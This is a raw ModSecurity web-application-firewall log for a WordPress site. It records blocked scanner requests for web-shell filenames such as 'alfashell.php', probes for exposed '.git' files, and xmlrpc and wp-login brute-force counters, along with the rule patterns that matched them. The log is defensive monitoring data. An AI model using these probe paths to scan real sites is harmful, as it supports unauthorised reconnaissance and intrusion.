[Thu Apr 16 06:12:03.181384 2026] [:error] [pid 57538:tid 57606] [client 20.215.49.170:55917] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bengi.php"] [unique_id "aeANM8uMaiEF5SVR2BcyqQAAAIQ"]
[Thu Apr 16 06:12:03.899237 2026] [:error] [pid 57639:tid 57665] [client 20.215.49.170:63299] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bengi.php"] [unique_id "aeANM6MCQoTw7TsxWunF1gAAANM"]
[Thu Apr 16 06:12:04.486401 2026] [:error] [pid 49094:tid 49100] [client 20.215.49.170:5747] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bengi.php"] [unique_id "aeANNDbDwvcXorHR_MyGxAAAAUQ"]
[Thu Apr 16 06:12:05.153813 2026] [:error] [pid 57536:tid 57565] [client 20.215.49.170:63315] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeANNSQU4faGja6jpDt9ywAAABE"]
[Thu Apr 16 06:12:06.218271 2026] [:error] [pid 49094:tid 49116] [client 20.215.49.170:60848] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeANNjbDwvcXorHR_MyGxwAAAVQ"]
[Thu Apr 16 06:12:06.990019 2026] [:error] [pid 49094:tid 49104] [client 20.215.49.170:5581] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeANNjbDwvcXorHR_MyGyQAAAUg"]
[Thu Apr 16 06:12:07.606408 2026] [:error] [pid 49094:tid 49106] [client 20.215.49.170:61992] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeANNzbDwvcXorHR_MyGygAAAUo"]
[Thu Apr 16 06:12:08.408891 2026] [:error] [pid 57538:tid 57614] [client 20.215.49.170:64659] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeANOMuMaiEF5SVR2BcyqwAAAIw"]
[Thu Apr 16 06:12:08.988880 2026] [:error] [pid 49094:tid 49109] [client 20.215.49.170:53478] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeANODbDwvcXorHR_MyGzQAAAU0"]
[Thu Apr 16 06:12:09.725698 2026] [:error] [pid 57538:tid 57625] [client 20.215.49.170:60818] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeANOcuMaiEF5SVR2BcyrQAAAJc"]
[Thu Apr 16 06:12:10.444249 2026] [:error] [pid 49094:tid 49113] [client 20.215.49.170:64207] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeANOjbDwvcXorHR_MyG0gAAAVE"]
[Thu Apr 16 06:12:11.125292 2026] [:error] [pid 49094:tid 49102] [client 20.215.49.170:55885] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeANOzbDwvcXorHR_MyG1gAAAUY"]
[Thu Apr 16 06:12:11.908463 2026] [:error] [pid 49094:tid 49106] [client 20.215.49.170:55912] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeANOzbDwvcXorHR_MyG2gAAAUo"]
[Thu Apr 16 06:12:12.527542 2026] [:error] [pid 57537:tid 57582] [client 20.215.49.170:5841] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeANPFVQRS8nm73ENAkwkAAAAEc"]
[Thu Apr 16 06:12:13.301184 2026] [:error] [pid 49094:tid 49113] [client 20.215.49.170:64201] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeANPTbDwvcXorHR_MyG3QAAAVE"]
[Thu Apr 16 06:12:14.100497 2026] [:error] [pid 29603:tid 29622] [client 20.215.49.170:5827] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeANPlfGOR6fpTWUAzq_sAAAARE"]
[Thu Apr 16 06:12:14.717654 2026] [:error] [pid 57536:tid 57558] [client 20.215.49.170:64250] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeANPiQU4faGja6jpDt9zwAAAAo"]
[Thu Apr 16 06:12:15.351202 2026] [:error] [pid 57536:tid 57564] [client 20.215.49.170:60862] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeANPyQU4faGja6jpDt90QAAABA"]
[Thu Apr 16 06:12:16.015050 2026] [:error] [pid 57639:tid 57663] [client 20.215.49.170:64215] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeANQKMCQoTw7TsxWunF2QAAANE"]
[Thu Apr 16 06:12:16.672479 2026] [:error] [pid 57639:tid 57659] [client 20.215.49.170:63298] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeANQKMCQoTw7TsxWunF2gAAAM0"]
[Thu Apr 16 06:12:39.214293 2026] [:error] [pid 49094:tid 49116] [client 20.215.49.170:63342] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeANVzbDwvcXorHR_MyHHAAAAVQ"]
[Thu Apr 16 06:12:42.210566 2026] [:error] [pid 57538:tid 57605] [client 20.215.49.170:53484] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeANWsuMaiEF5SVR2BcywAAAAIM"]
[Thu Apr 16 06:12:44.540060 2026] [:error] [pid 57538:tid 57609] [client 20.215.49.170:61305] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeANXMuMaiEF5SVR2BcyxQAAAIc"]
[Thu Apr 16 06:12:45.785794 2026] [:error] [pid 57538:tid 57617] [client 20.215.49.170:5572] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeANXcuMaiEF5SVR2BcyyAAAAI8"]
[Thu Apr 16 06:12:47.171436 2026] [:error] [pid 57639:tid 57647] [client 20.215.49.170:55882] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1da.php"] [unique_id "aeANX6MCQoTw7TsxWunF7AAAAME"]
[Thu Apr 16 06:12:48.428161 2026] [:error] [pid 57639:tid 57648] [client 20.215.49.170:5608] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1da.php"] [unique_id "aeANYKMCQoTw7TsxWunF8AAAAMI"]
[Thu Apr 16 06:12:49.503807 2026] [:error] [pid 57639:tid 57649] [client 20.215.49.170:60838] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1da.php"] [unique_id "aeANYaMCQoTw7TsxWunF8gAAAMM"]
[Thu Apr 16 06:12:50.329046 2026] [:error] [pid 29603:tid 29628] [client 20.215.49.170:5712] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1da.php"] [unique_id "aeANYlfGOR6fpTWUAzq_1gAAARc"]
[Thu Apr 16 06:12:51.523258 2026] [:error] [pid 57536:tid 57565] [client 20.215.49.170:5852] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aeANYyQU4faGja6jpDt92gAAABE"]
[Thu Apr 16 06:12:52.549475 2026] [:error] [pid 57537:tid 57597] [client 20.215.49.170:55928] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aeANZFVQRS8nm73ENAkwoQAAAFY"]
[Thu Apr 16 06:12:53.507620 2026] [:error] [pid 49094:tid 49096] [client 20.215.49.170:5759] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aeANZTbDwvcXorHR_MyHMgAAAUA"]
[Thu Apr 16 06:12:54.372810 2026] [:error] [pid 57537:tid 57576] [client 20.215.49.170:5856] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aeANZlVQRS8nm73ENAkwowAAAEE"]
[Thu Apr 16 06:12:55.182764 2026] [:error] [pid 29603:tid 29613] [client 20.215.49.170:5696] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeANZ1fGOR6fpTWUAzq_3QAAAQg"]
[Thu Apr 16 06:12:56.204455 2026] [:error] [pid 57639:tid 57666] [client 20.215.49.170:53483] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeANaKMCQoTw7TsxWunF-QAAANQ"]
[Thu Apr 16 06:12:57.557408 2026] [:error] [pid 57536:tid 57553] [client 20.215.49.170:5857] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeANaSQU4faGja6jpDt93QAAAAU"]
[Thu Apr 16 06:12:58.788313 2026] [:error] [pid 49094:tid 49108] [client 20.215.49.170:64216] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeANajbDwvcXorHR_MyHNwAAAUw"]
[Thu Apr 16 07:52:43.305901 2026] [:error] [pid 49094:tid 49114] [client 101.33.81.73:33462] [client 101.33.81.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeAkyzbDwvcXorHR_MzBGgAAAVI"]
[Thu Apr 16 08:47:47.001112 2026] [:error] [pid 57639:tid 57648] [client 98.93.160.221:38404] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aeAxs6MCQoTw7TsxWukLPQAAAMI"]
[Thu Apr 16 09:10:41.126443 2026] [:error] [pid 57536:tid 57569] [client 45.134.142.195:55016] [client 45.134.142.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.134.142.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeA3ESQU4faGja6jpDud7QAAABU"]
[Thu Apr 16 09:35:23.413482 2026] [:error] [pid 29603:tid 29624] [client 158.173.21.30:21952] [client 158.173.21.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.173.21.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeA821fGOR6fpTWUAzoLkQAAARM"], referer: https://gigfragments.org/wp-login.php?action=register
[Thu Apr 16 09:35:25.613348 2026] [:error] [pid 49094:tid 49114] [client 158.173.21.30:62929] [client 158.173.21.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.173.21.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeA83TbDwvcXorHR_MzqmwAAAVI"], referer: https://gigfragments.org/wp-login.php?registration=disabled
[Thu Apr 16 11:22:46.541301 2026] [:error] [pid 57639:tid 57651] [client 223.233.78.131:3281] [client 223.233.78.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.78.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBWBqMCQoTw7TsxWulY1AAAAMU"]
[Thu Apr 16 11:22:56.624384 2026] [:error] [pid 49094:tid 49107] [client 223.233.78.131:2683] [client 223.233.78.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.78.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBWEDbDwvcXorHR_MwNrwAAAUs"]
[Thu Apr 16 11:23:07.261558 2026] [:error] [pid 29603:tid 29621] [client 223.233.78.131:21216] [client 223.233.78.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.78.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBWG1fGOR6fpTWUAzolrwAAARA"]
[Thu Apr 16 11:23:17.698853 2026] [:error] [pid 57639:tid 57667] [client 223.233.78.131:19814] [client 223.233.78.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.78.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBWJaMCQoTw7TsxWulY9QAAANU"]
[Thu Apr 16 11:23:28.236461 2026] [:error] [pid 7880:tid 7901] [client 223.233.78.131:12244] [client 223.233.78.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.78.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBWMKaezm4fSGc0yUL-kAAAAZA"]
[Thu Apr 16 12:27:54.383141 2026] [:error] [pid 57536:tid 57561] [client 103.166.74.195:51493] [client 103.166.74.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.74.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBlSiQU4faGja6jpDu9qQAAAA0"]
[Thu Apr 16 12:28:06.840705 2026] [:error] [pid 57536:tid 57572] [client 103.166.74.195:51883] [client 103.166.74.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.74.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBlViQU4faGja6jpDu9zQAAABg"]
[Thu Apr 16 12:28:19.950555 2026] [:error] [pid 29603:tid 29608] [client 103.166.74.195:52265] [client 103.166.74.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.74.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBlY1fGOR6fpTWUAzowqAAAAQM"]
[Thu Apr 16 12:28:33.270193 2026] [:error] [pid 7880:tid 7889] [client 103.166.74.195:52556] [client 103.166.74.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.74.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBlcaaezm4fSGc0yUIWggAAAYQ"]
[Thu Apr 16 12:28:46.430063 2026] [:error] [pid 57639:tid 57650] [client 103.166.74.195:52836] [client 103.166.74.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.74.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeBlfqMCQoTw7TsxWultVAAAAMQ"]
[Thu Apr 16 13:27:45.960331 2026] [:error] [pid 57639:tid 57662] [client 98.93.160.221:60714] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aeBzUaMCQoTw7TsxWumIyAAAANA"]
[Thu Apr 16 13:39:48.141605 2026] [:error] [pid 49094:tid 49109] [client 43.159.143.139:33740] [client 43.159.143.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeB2JDbDwvcXorHR_MwsgwAAAU0"]
[Thu Apr 16 14:45:36.121283 2026] [:error] [pid 49094:tid 49098] [client 43.228.157.68:36012] [client 43.228.157.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aeCFkDbDwvcXorHR_Mw4CQAAAUI"]
[Thu Apr 16 18:14:41.925191 2026] [:error] [pid 57536:tid 57548] [client 159.65.253.220:58557] [client 159.65.253.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.253.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeC2kSQU4faGja6jpDsuVgAAAAA"]
[Thu Apr 16 18:14:44.008026 2026] [:error] [pid 49094:tid 49119] [client 159.65.253.220:60373] [client 159.65.253.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.253.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeC2lDbDwvcXorHR_Mx0UQAAAVc"]
